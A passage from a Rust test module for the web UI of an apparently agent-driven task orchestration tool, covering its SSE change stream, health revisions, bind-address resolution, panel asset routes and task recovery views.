22926            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22927            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22928        ] {
22929            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22930        }
22931    }
22932
22933    #[test]
22934    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22935        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22936        // above for the section-focus channel a stats queue tile drives:
22937        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22938        // through the stale-search-clear recursion into renderQueue(), and
22939        // clear it only once revealQueueSection() is actually about to run -
22940        // the same trap that once silently dropped a task-focus jump.
22941        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22942        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22943        assert!(APP_JS.contains("function revealQueueSection(details)"));
22944        assert!(
22945            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22946            "renderQueue() must consume both focus channels on every pass"
22947        );
22948        assert!(
22949            APP_JS.contains(
22950                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22951            ),
22952            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22953             the recursive renderQueue() call has nothing left to reveal"
22954        );
22955        assert!(
22956            APP_JS.contains(
22957                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22958            ),
22959            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22960        );
22961        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22962        // task-focus form of the hash - a plain `#queue` navigation only
22963        // flips which view is visible. openQueueSectionFocus() must
22964        // therefore call renderQueue() itself, and applyRoute() too so the
22965        // view flips even when the hash doesn't change (the Backlog may
22966        // already be open when a tile is tapped, firing no hashchange
22967        // event at all).
22968        assert!(
22969            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22970            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22971             hashchange event that may never fire"
22972        );
22973    }
22974
22975    #[tokio::test]
22976    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22977        let f = Fixture::start().await;
22978
22979        let mut socket = tokio::net::TcpStream::connect(f.addr)
22980            .await
22981            .expect("connect");
22982        socket
22983            .write_all(
22984                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22985            )
22986            .await
22987            .expect("write request");
22988
22989        // Read until the first event arrives rather than to end of stream: the
22990        // stream is endless by design, which is the point of the route.
22991        let mut seen = String::new();
22992        let mut buf = [0u8; 1024];
22993        while !seen.contains("event: change") {
22994            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22995                .await
22996                .expect("the stream must speak within five seconds")
22997                .expect("read");
22998            assert!(read > 0, "the server closed the change stream: {seen}");
22999            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
23000        }
23001
23002        assert!(
23003            seen.to_lowercase()
23004                .contains("content-type: text/event-stream"),
23005            "the browser only reconnects automatically for a real SSE stream: {seen}"
23006        );
23007        let data = seen
23008            .lines()
23009            .find_map(|l| l.strip_prefix("data:"))
23010            .expect("a data line");
23011        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
23012        assert!(
23013            payload["queue_rev"].is_u64()
23014                && payload["runs_rev"].is_u64()
23015                && payload["questions_rev"].is_u64()
23016                && payload["talks_rev"].is_u64()
23017                && payload["notifications_rev"].is_u64()
23018                && payload["loop_rev"].is_u64(),
23019            "the client needs one revision per store to know what to refetch, \
23020             and `talks_rev` is the only notification a standing talk gets - a \
23021             phone whose radio slept through a turn learns about it here, as \
23022             does one whose operator started the loop from another device: \
23023             {payload}"
23024        );
23025
23026        // The front end re-polls health on a timer and on wake, and takes the
23027        // revisions from that answer whenever the stream is not up. So health
23028        // has to carry every key the stream carries: a phone on a link that
23029        // will not hold an SSE connection is exactly the phone that must still
23030        // notice a question, and a missing key there is not a 500 but a UI
23031        // that quietly stops updating.
23032        let health = f.get("/api/health").await.json();
23033        for key in [
23034            "queue_rev",
23035            "runs_rev",
23036            "questions_rev",
23037            "talks_rev",
23038            "notifications_rev",
23039            "loop_rev",
23040        ] {
23041            assert!(
23042                health[key].is_u64(),
23043                "health is the change stream's fallback and is missing `{key}`: {health}"
23044            );
23045        }
23046    }
23047
23048    #[tokio::test]
23049    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
23050        let home = TempDir::new().expect("temp home");
23051        let ui = delta_test_ui(home.path());
23052        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
23053        // Establish the existing conversation's baseline before appending.
23054        // Wait on the stream's shared notification rather than repeatedly
23055        // rebuilding health (config, process and disk observations included).
23056        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
23057        let mut changes = ui.monitor.broadcaster.subscribe();
23058        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
23059        on_disk.turns.push(crate::talk::Turn {
23060            sender: None,
23061            breaks: Some(Vec::new()),
23062            messages: Vec::new(),
23063            posted_by: None,
23064            who: crate::talk::Who::Operator,
23065            body: "a new turn".to_owned(),
23066            at: Timestamp::now(),
23067            attachments: Vec::new(),
23068            usage: None,
23069        });
23070        ui.talks.put(&mut on_disk).expect("record a turn");
23071
23072        let after = tokio::time::timeout(Duration::from_secs(5), async {
23073            loop {
23074                let change = changes.recv().await.expect("monitor notification");
23075                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
23076                if revision != before {
23077                    assert_eq!(
23078                        change.payload["talks_delta"]["changed"],
23079                        serde_json::json!([talk])
23080                    );
23081                    break revision;
23082                }
23083            }
23084        })
23085        .await
23086        .expect("shared monitor observes external turn");
23087        assert_ne!(
23088            before, after,
23089            "a phone must be able to notice a talk's reply without polling every store"
23090        );
23091        let Json(observed) = health(State(ui)).await.expect("health");
23092        assert_eq!(
23093            observed.talks_rev, after,
23094            "health exposes the same revision"
23095        );
23096    }
23097
23098    #[test]
23099    fn bind_reads_back_from_the_spelling_the_cli_prints() {
23100        // The CLI shows the default in `--help` and parses whatever comes
23101        // back, so the two directions have to agree or `--bind auto` breaks
23102        // the moment someone copies the help text.
23103        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
23104            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
23105        }
23106        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
23107        assert!("everywhere".parse::<Bind>().is_err());
23108    }
23109
23110    #[test]
23111    fn an_explicit_bind_address_is_taken_verbatim() {
23112        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
23113
23114        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
23115
23116        assert_eq!(addr, asked);
23117        assert!(
23118            warning.is_none(),
23119            "an operator who named an address gets no lecture"
23120        );
23121    }
23122
23123    #[test]
23124    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
23125        let (addr, warning) = resolve_bind(&Bind::Auto);
23126
23127        // This has to hold on a CI runner with no `tailscale` and on a dev box
23128        // with one, so the invariant asserted is the one shared by both
23129        // outcomes: the address is either a real tailnet address offered
23130        // without comment, or loopback with an explanation. What must never
23131        // happen is a silent fallback - an operator told "listening on
23132        // 127.0.0.1" with no reason would go looking for a firewall.
23133        match addr {
23134            IpAddr::V4(ip) if is_tailnet(&ip) => {
23135                assert!(warning.is_none(), "a tailnet address needs no warning");
23136            }
23137            other => {
23138                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
23139                let warning = warning.expect("a fallback has to explain itself");
23140                assert!(
23141                    warning.contains("127.0.0.1") && warning.contains("local-only"),
23142                    "the warning says what happened and what it costs: {warning}"
23143                );
23144            }
23145        }
23146    }
23147
23148    #[test]
23149    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
23150        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
23151        // boundary cases are what stop us binding to some other tool's idea of
23152        // an address.
23153        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
23154        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
23155        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
23156        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
23157        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
23158    }
23159
23160    #[test]
23161    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
23162        let ids = vec![
23163            "20260902-140501-aaaa".to_owned(),
23164            "20260902-140502-aabb".to_owned(),
23165        ];
23166
23167        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
23168        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
23169        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
23170
23171        assert_eq!(missing.status, StatusCode::NOT_FOUND);
23172        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
23173        assert_eq!(short, "20260902-140502-aabb");
23174    }
23175    #[tokio::test]
23176    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
23177        // The prompt tells agents to reference attachments by bare filename.
23178        // A document served at `.../panel` resolves `shot.png` against its own
23179        // directory, i.e. `.../shot.png`, which is not the asset route - so a
23180        // panel written exactly as instructed showed broken images. Caught by
23181        // looking at a real one in a browser, not by reading the code.
23182        let fx = Fixture::start().await;
23183        let id = panel(
23184            &fx,
23185            "<img src=\"shot.png\">",
23186            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
23187        );
23188
23189        // The frame's own URL ends in a filename, so its siblings are reachable.
23190        let doc = fx
23191            .get(&format!("/api/questions/{id}/panel/index.html"))
23192            .await;
23193        assert_eq!(doc.status, 200, "{}", doc.body);
23194        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
23195
23196        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
23197        assert_eq!(sibling.status, 200, "{}", sibling.body);
23198        assert_eq!(sibling.header("content-type"), Some("image/png"));
23199        assert_eq!(
23200            sibling.header("content-security-policy"),
23201            Some(PANEL_CSP),
23202            "the sibling route must carry the same policy as the asset route"
23203        );
23204
23205        // The original spelling keeps working: HEAD on it is how the front end
23206        // decides whether to mount a frame at all.
23207        assert_eq!(
23208            fx.head(&format!("/api/questions/{id}/panel")).await.status,
23209            200
23210        );
23211    }
23212
23213    #[test]
23214    fn delta_stamps_cover_add_update_remove_and_noop() {
23215        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
23216        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
23217        let delta = diff_stamps(&before, &after, 42);
23218        assert_eq!(delta.base, 42);
23219        assert_eq!(delta.changed, ["b", "c"]);
23220        assert_eq!(delta.removed, ["a"]);
23221        let same = diff_stamps(&after, &after, 43);
23222        assert!(same.changed.is_empty() && same.removed.is_empty());
23223        assert_ne!(stamps_revision(&before), stamps_revision(&after));
23224        let nanos: Stamps = [("b".into(), (2, 20))].into();
23225        let same_ms: Stamps = [("b".into(), (3, 20))].into();
23226        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
23227        assert_eq!(stamps_revision(&Stamps::new()), 0);
23228    }
23229
23230    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
23231        std::fs::create_dir_all(home.join("runs")).unwrap();
23232        Arc::new(
23233            Ui::new(
23234                Queue::at(home.join("queue")),
23235                Questions::at(home.join("questions")),
23236                Talks::at(home.join("talks")),
23237                home.join("runs"),
23238                home.to_owned(),
23239                PathBuf::from("/repo/magi"),
23240            )
23241            .with_worktrees_root(home.join("wt")),
23242        )
23243    }
23244
23245    #[test]
23246    fn monitor_scan_isolates_store_failures_and_recovers() {
23247        let home = TempDir::new().unwrap();
23248        let ui = delta_test_ui(home.path());
23249        std::fs::create_dir_all(ui.questions.root()).unwrap();
23250        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
23251        let before = monitor_scan(&ui, None);
23252        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
23253        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23254        std::fs::create_dir_all(ui.talks.root()).unwrap();
23255        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
23256        let during = monitor_scan(&ui, Some(before.clone()));
23257        assert_eq!(during.0.2, before.0.2);
23258        assert_ne!(during.0.3, before.0.3);
23259        assert!(during.1[2].contains_key("new"));
23260        std::fs::remove_file(ui.questions.root()).unwrap();
23261        let after = monitor_scan(&ui, Some(during));
23262        assert_eq!(after.0.2, 0);
23263        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
23264        // A failed first scan also permits healthy stores to publish.
23265        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23266        assert_ne!(monitor_scan(&ui, None).0.3, after.0.3);
23267    }
23268
23269    #[test]
23270    fn chat_status_cached_inventory_invalidates_on_store_failure_and_recovery() {
23271        let home = TempDir::new().unwrap();
23272        let ui = delta_test_ui(home.path());
23273        let root = ui.queue.root();
23274        std::fs::create_dir_all(root).unwrap();
23275        let before = monitor_scan(&ui, None);
23276        *ui.monitor.latest.lock().unwrap() = Some(before.clone());
23277        let status = || {
23278            chat_inventory(&ui)
23279                .status_of("chat", true, crate::chat_status::Goals::default(), false)
23280                .kind
23281        };
23282        assert_eq!(status(), crate::chat_status::Kind::Idle);
23283        std::fs::remove_dir(root).unwrap();
23284        std::fs::write(root, "not a directory").unwrap();
23285        let failed = monitor_scan(&ui, Some(before.clone()));
23286        assert_ne!(failed.0.3, before.0.3);
23287        *ui.monitor.latest.lock().unwrap() = Some(failed.clone());
23288        assert_eq!(status(), crate::chat_status::Kind::Unknown);
23289        std::fs::remove_file(root).unwrap();
23290        std::fs::create_dir(root).unwrap();
23291        let recovered = monitor_scan(&ui, Some(failed));
23292        *ui.monitor.latest.lock().unwrap() = Some(recovered);
23293        assert_eq!(status(), crate::chat_status::Kind::Idle);
23294    }
23295
23296    #[tokio::test]
23297    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
23298        let home = TempDir::new().unwrap();
23299        let ui = delta_test_ui(home.path());
23300        let mut task = Task::new(
23301            "stream task".into(),
23302            "text".into(),
23303            PathBuf::from("/repo"),
23304            Source::Human,
23305        );
23306        ui.queue.put(&mut task).unwrap();
23307        let response = events(State(ui.clone())).await.into_response();
23308        let mut stream = response.into_body().into_data_stream();
23309        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
23310            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
23311                .await
23312                .unwrap()
23313                .unwrap()
23314                .unwrap();
23315            let text = String::from_utf8(chunk.to_vec()).unwrap();
23316            let data = text
23317                .lines()
23318                .find_map(|line| {
23319                    line.strip_prefix("data: ")
23320                        .or_else(|| line.strip_prefix("data:"))
23321                })
23322                .unwrap();
23323            serde_json::from_str(data).unwrap()
23324        }
23325        let initial = change(&mut stream).await;
23326        assert!(initial.get("queue_delta").is_none());
23327        task.instruction.push_str(" changed");
23328        ui.queue.put(&mut task).unwrap();
23329        let updated = change(&mut stream).await;
23330        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
23331        assert_eq!(
23332            updated["queue_delta"]["changed"],
23333            serde_json::json!([task.id])
23334        );
23335        assert_eq!(
23336            updated["queue_rev"].as_u64(),
23337            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
23338        );
23339        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23340        let removed = change(&mut stream).await;
23341        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
23342        assert_eq!(
23343            removed["queue_delta"]["removed"],
23344            serde_json::json!([task.id])
23345        );
23346    }
23347
23348    #[tokio::test]
23349    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
23350        let home = TempDir::new().unwrap();
23351        let ui = delta_test_ui(home.path());
23352        let queue = ui.queue.clone();
23353        let query = |ids: Option<&str>| {
23354            Query(ListQuery {
23355                limit: Some(2),
23356                ids: ids.map(str::to_owned),
23357            })
23358        };
23359        let mut root = Task::new(
23360            "root".into(),
23361            "instruction".into(),
23362            PathBuf::from("/repo"),
23363            Source::Human,
23364        );
23365        queue.put(&mut root).unwrap();
23366        let mut blocked = Task::new(
23367            "blocked".into(),
23368            "instruction".into(),
23369            PathBuf::from("/repo"),
23370            Source::Human,
23371        );
23372        blocked.block(vec![root.id.clone()], None);
23373        queue.put(&mut blocked).unwrap();
23374        let whole =
23375            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
23376                .unwrap();
23377        let subset = serde_json::to_value(
23378            queue_list(State(ui.clone()), query(Some(&root.id)))
23379                .await
23380                .unwrap()
23381                .0,
23382        )
23383        .unwrap();
23384        assert_eq!(whole, subset, "requested root plus its blocked dependent");
23385        let blockers = serde_json::to_value(
23386            queue_list(State(ui.clone()), query(Some("")))
23387                .await
23388                .unwrap()
23389                .0,
23390        )
23391        .unwrap();
23392        assert_eq!(blockers.as_array().unwrap().len(), 1);
23393        assert_eq!(blockers[0]["id"], blocked.id);
23394        assert_eq!(
23395            blockers[0]["waits_on"],
23396            whole
23397                .as_array()
23398                .unwrap()
23399                .iter()
23400                .find(|row| row["id"] == blocked.id)
23401                .unwrap()["waits_on"]
23402        );
23403
23404        for id in [
23405            "20260902-140501-aaaa",
23406            "20260902-140502-bbbb",
23407            "20260902-140503-cccc",
23408        ] {
23409            write_run(&ui.runs, id, RunStatus::Merged);
23410        }
23411        let old = serde_json::to_value(
23412            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
23413                .await
23414                .unwrap()
23415                .0,
23416        )
23417        .unwrap();
23418        assert!(
23419            old.as_array().unwrap().is_empty(),
23420            "older updates must not enter the window"
23421        );
23422        let newest = serde_json::to_value(
23423            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
23424                .await
23425                .unwrap()
23426                .0,
23427        )
23428        .unwrap();
23429        assert_eq!(newest.as_array().unwrap().len(), 1);
23430        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
23431
23432        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
23433        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
23434        let talks = serde_json::to_value(
23435            talks_list(
23436                State(ui.clone()),
23437                query(Some("20260905-000000-d4e5")),
23438                header::HeaderMap::new(),
23439            )
23440            .await
23441            .unwrap()
23442            .0,
23443        )
23444        .unwrap();
23445        assert_eq!(talks.as_array().unwrap().len(), 1);
23446        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
23447        assert_eq!(
23448            serde_json::to_value(
23449                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
23450                    .await
23451                    .unwrap()
23452                    .0
23453            )
23454            .unwrap(),
23455            serde_json::json!([])
23456        );
23457    }
23458
23459    #[tokio::test]
23460    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
23461    async fn delta_payload_benchmark() {
23462        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
23463        let ui = delta_test_ui(&home);
23464        let query = |ids: Option<String>| {
23465            Query(ListQuery {
23466                limit: Some(50),
23467                ids,
23468            })
23469        };
23470        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
23471        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
23472        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
23473            .await
23474            .unwrap()
23475            .0;
23476        let queue_id = queue
23477            .iter()
23478            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
23479            .unwrap_or(&queue[0])
23480            .task
23481            .id
23482            .clone();
23483        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
23484            .await
23485            .unwrap()
23486            .0;
23487        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
23488            .await
23489            .unwrap()
23490            .0;
23491        let talks_delta = talks_list(
23492            State(ui.clone()),
23493            query(Some(talks[0].id.clone())),
23494            header::HeaderMap::new(),
23495        )
23496        .await
23497        .unwrap()
23498        .0;
23499        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
23500        eprintln!(
23501            "DELTA_PAYLOAD {}",
23502            serde_json::json!({
23503                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
23504                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
23505                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
23506                "counts": [queue.len(), runs.len(), talks.len()],
23507                "blocked": queue_delta.len() - 1,
23508            })
23509        );
23510    }
23511
23512    #[test]
23513    fn runs_revision_moves_when_deleting_an_older_run() {
23514        let temp = TempDir::new().expect("tempdir");
23515        let runs = temp.path().join("runs");
23516        std::fs::create_dir_all(&runs).expect("create runs dir");
23517
23518        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
23519
23520        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
23521        std::thread::sleep(Duration::from_millis(10));
23522        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
23523
23524        let rev_before = runs_revision(&runs);
23525        assert!(rev_before > 0);
23526
23527        let old_dir = runs.join("20260901-100000-old1");
23528        std::fs::remove_dir_all(&old_dir).expect("remove old run");
23529
23530        let rev_after = runs_revision(&runs);
23531        assert_ne!(
23532            rev_before, rev_after,
23533            "deleting an older run must change the revision so other clients see the deletion"
23534        );
23535    }
23536
23537    /// A run's own `run.json` on an explicit `runs` root, bypassing the
23538    /// process-global home entirely — `RunState::save` writes through
23539    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
23540    /// (see `tests::home_lock` in the integration suite for why).
23541    fn write_state(runs: &FsPath, state: &RunState) {
23542        let dir = runs.join(&state.id);
23543        std::fs::create_dir_all(&dir).expect("run dir");
23544        std::fs::write(
23545            dir.join("run.json"),
23546            serde_json::to_string_pretty(state).expect("serialize run"),
23547        )
23548        .expect("write run.json");
23549    }
23550
23551    /// A seat starting or finishing is a write to `run.json` like any other,
23552    /// so it moves the same revision the change stream already watches —
23553    /// nothing new for `/api/events` to learn, but the property this feature
23554    /// depends on to reach the phone without a poll.
23555    #[test]
23556    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
23557        let temp = TempDir::new().expect("tempdir");
23558        let runs = temp.path().join("runs");
23559        std::fs::create_dir_all(&runs).expect("create runs dir");
23560        let mut state = RunState::new(
23561            PathBuf::from("/repo/magi"),
23562            "main".to_owned(),
23563            "0123456789abcdef".to_owned(),
23564            "task".to_owned(),
23565            Config::default(),
23566        );
23567        state.id = "20260902-100000-c0de".to_owned();
23568        write_state(&runs, &state);
23569
23570        let rev_idle = runs_revision(&runs);
23571        std::thread::sleep(Duration::from_millis(10));
23572        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
23573        write_state(&runs, &state);
23574        let rev_started = runs_revision(&runs);
23575        assert_ne!(
23576            rev_idle, rev_started,
23577            "a seat starting must move the revision"
23578        );
23579
23580        std::thread::sleep(Duration::from_millis(10));
23581        state.seat_finished("judge-1");
23582        write_state(&runs, &state);
23583        let rev_finished = runs_revision(&runs);
23584        assert_ne!(
23585            rev_started, rev_finished,
23586            "and clearing it again must move the revision a second time"
23587        );
23588    }
23589
23590    #[tokio::test]
23591    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23592        // `TaskView` flattens `Task`, so this is really asserting that
23593        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
23594        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
23595        // never touched web.rs, so nothing here caught it if it had.
23596        let fx = Fixture::start().await;
23597        let q = fx.queue();
23598
23599        let mut t = Task::new(
23600            "Task".to_owned(),
23601            "Instruction".to_owned(),
23602            PathBuf::from("/repo"),
23603            Source::Human,
23604        );
23605        t.block(
23606            vec!["20260101-000000-dead".to_owned()],
23607            Some("waiting on Task 1".to_owned()),
23608        );
23609        t.answers.push(crate::queue::AnsweredQuestion {
23610            question: "Which backend?".to_owned(),
23611            answer: "SQLite".to_owned(),
23612        });
23613        q.put(&mut t).expect("put t");
23614
23615        let res = fx.get("/api/queue").await;
23616        assert_eq!(res.status, 200);
23617        let list = res.json();
23618        let view = list
23619            .as_array()
23620            .expect("array")
23621            .iter()
23622            .find(|v| v["id"] == t.id)
23623            .expect("task in list");
23624        assert_eq!(view["status_str"], "blocked");
23625        assert_eq!(
23626            view["blocked_by"],
23627            serde_json::json!(["20260101-000000-dead"])
23628        );
23629        assert_eq!(view["block_reason"], "waiting on Task 1");
23630        assert_eq!(view["answers"][0]["question"], "Which backend?");
23631        assert_eq!(view["answers"][0]["answer"], "SQLite");
23632
23633        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
23634        // but never `answers` - that is a settled decision, not state
23635        // describing the current block, so it survives.
23636        let res = fx
23637            .post(&format!("/api/queue/{}/hold", t.short()), None)
23638            .await;
23639        assert_eq!(res.status, 200);
23640        let held = res.json();
23641        assert_eq!(held["status_str"], "held");
23642        assert_eq!(held["blocked_by"], serde_json::json!([]));
23643        assert!(held["block_reason"].is_null());
23644        assert_eq!(held["answers"][0]["answer"], "SQLite");
23645    }
23646
23647    #[tokio::test]
23648    async fn task_recovery_pending_decisions_block_disk_autoresume() {
23649        let fx = Fixture::start().await;
23650        let queue = fx.queue();
23651        let questions = fx.questions();
23652        let mut task = Task::new(
23653            "Disk recovery".into(),
23654            "Inspect".into(),
23655            PathBuf::from("/repo"),
23656            Source::Human,
23657        );
23658        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23659        task.mark_disk_capacity();
23660        queue.put(&mut task).unwrap();
23661        let mut records = Vec::new();
23662        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23663            let mut q = Question::new(
23664                task.id.clone(),
23665                node.into(),
23666                "triage".into(),
23667                "Resume recovery?".into(),
23668                String::new(),
23669                vec![],
23670            );
23671            q.routed_task = Some(task.id.clone());
23672            questions.put(&mut q).unwrap();
23673            records.push(q);
23674        }
23675        let url = format!("/api/queue/{}", task.id);
23676        let view = fx.get(&url).await.json();
23677        assert_eq!(view["status_str"], "held");
23678        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23679        assert!(
23680            view["recovery"]
23681                .as_str()
23682                .unwrap()
23683                .contains("Disk recovery alone will not resume")
23684        );
23685        assert!(
23686            view["recovery"]
23687                .as_str()
23688                .unwrap()
23689                .contains("Disk wait (automatically monitored)")
23690        );
23691        for blocker in view["blockers"].as_array().unwrap() {
23692            assert!(blocker["destination"].is_null());
23693            assert!(
23694                blocker["next"]
23695                    .as_str()
23696                    .unwrap()
23697                    .contains("pending delivery")
23698            );
23699        }
23700        for q in &mut records {
23701            q.routed_chat = Some("owning-chat".into());
23702            questions.put(q).unwrap();
23703        }
23704        let view = fx.get(&url).await.json();
23705        for blocker in view["blockers"].as_array().unwrap() {
23706            assert_eq!(
23707                blocker["destination"],
23708                serde_json::json!(["chat", "owning-chat"])
23709            );
23710            assert_eq!(blocker["resolves_itself"], false);
23711        }
23712        // Answered routed decisions can still be awaiting task-chat application.
23713        for q in &mut records {
23714            q.status = ask::QuestionStatus::Answered;
23715            questions.put(q).unwrap();
23716        }
23717        assert!(crate::triage::pending_for(&questions, &task));
23718        let view = fx.get(&url).await.json();
23719        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23720        assert!(
23721            view["blockers"][0]["next"]
23722                .as_str()
23723                .unwrap()
23724                .contains("not yet applied")
23725        );
23726        for q in &records {
23727            task.mark_triage_applied(&q.id);
23728        }
23729        queue.put(&mut task).unwrap();
23730        assert!(!crate::triage::pending_for(&questions, &task));
23731        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23732        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23733    }
23734
23735    #[test]
23736    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23737        use crate::queue::HoldSource;
23738        let mut task = Task::new(
23739            "Recovery".into(),
23740            "Inspect".into(),
23741            PathBuf::from("/repo"),
23742            Source::Human,
23743        );
23744        assert!(task_recovery(&task).is_none());
23745        task.hold_manual(Some("Operator paused".into()));
23746        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23747        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23748        let text = task_recovery(&task).unwrap();
23749        assert!(text.contains("restores held"));
23750        assert!(text.contains("clears its dependency references"));
23751        task.hold_source = Some(HoldSource::Machine);
23752        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23753        task.mark_disk_capacity();
23754        let view = TaskView::with_inventory(
23755            task.clone(),
23756            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23757        );
23758        let json = serde_json::to_value(view).unwrap();
23759        assert_eq!(json["block_reason"], "Decision needed");
23760        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23761        let recovery = json["recovery"].as_str().unwrap();
23762        assert!(recovery.contains("not current capacity"));
23763        assert!(recovery.contains("triage rechecks"));
23764        assert_eq!(json["blockers"][0]["state"], "missing");
23765        task.blocked_from = Some(TaskStatus::Queued);
23766        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23767        task.blocked_from = None;
23768        assert!(task_recovery(&task).unwrap().contains("restores held"));
23769    }
23770
23771    #[tokio::test]
